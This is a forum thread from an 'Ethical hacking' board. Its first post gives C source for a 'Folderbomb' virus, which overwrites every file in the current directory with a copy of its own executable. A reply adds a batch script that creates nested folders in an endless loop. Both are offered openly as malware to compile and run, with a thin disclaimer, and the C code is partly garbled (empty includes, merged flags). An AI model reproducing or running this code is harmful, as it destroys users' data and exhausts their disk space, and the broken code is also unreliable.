1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

how to make a virus (folder in folder

Discussion in 'Ethical hacking' started by VISHAL SINGH, Jan 12, 2011.

  1. VISHAL SINGH

    VISHAL SINGH New Member

    Joined:
    Dec 3, 2010
    Messages:
    10
    Likes Received:
    0
    Trophy Points:
    0
    Occupation:
    student
    Location:
    sonipat
    Home Page:
    hey i m vishal sing ,an ethical hacker .now i kearn how u make an virus using c program
    Code:
    #include<stdio.h>
    #include<conio.h>
    #include
    #include
    #include
    void main(int argc,char* argv[])
    { char buf[512];
    int source,target,byt,done;
    struct ffblk ffblk;
    clrscr();
    textcolor(2);
    cprintf(”————————————————————————–”);
    printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
    cprintf(”————————————————————————–”);
    done = findfirst(”*.*”,&ffblk,0);
    while (!done)
    { printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
    source=open(argv[0],O_RDONLYO_BINARY);
    target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
    while(1)
    {byt=read(source,buf,512);
    if(byt>0)
    write(target,buf,byt);
    else
    break;
    }
    close(source);
    close(target);
    done = findnext(&ffblk);
    }
    getch();
    }
    after tyiping the c program u compile it and wow...:crazy:
     
    Last edited by a moderator: Jan 13, 2011
  2. WHone

    WHone New Member

    Joined:
    Sep 21, 2013
    Messages:
    5
    Likes Received:
    0
    Trophy Points:
    0
    :start
    mkdir virus
    cd virus
    goto start.
    (its just like the same virus format, copy the above code in notepad and save as .bat extension,this will create a folder in folder named as virus, strictly for educational purpous only don't mis use! :worried: )
     

Share This Page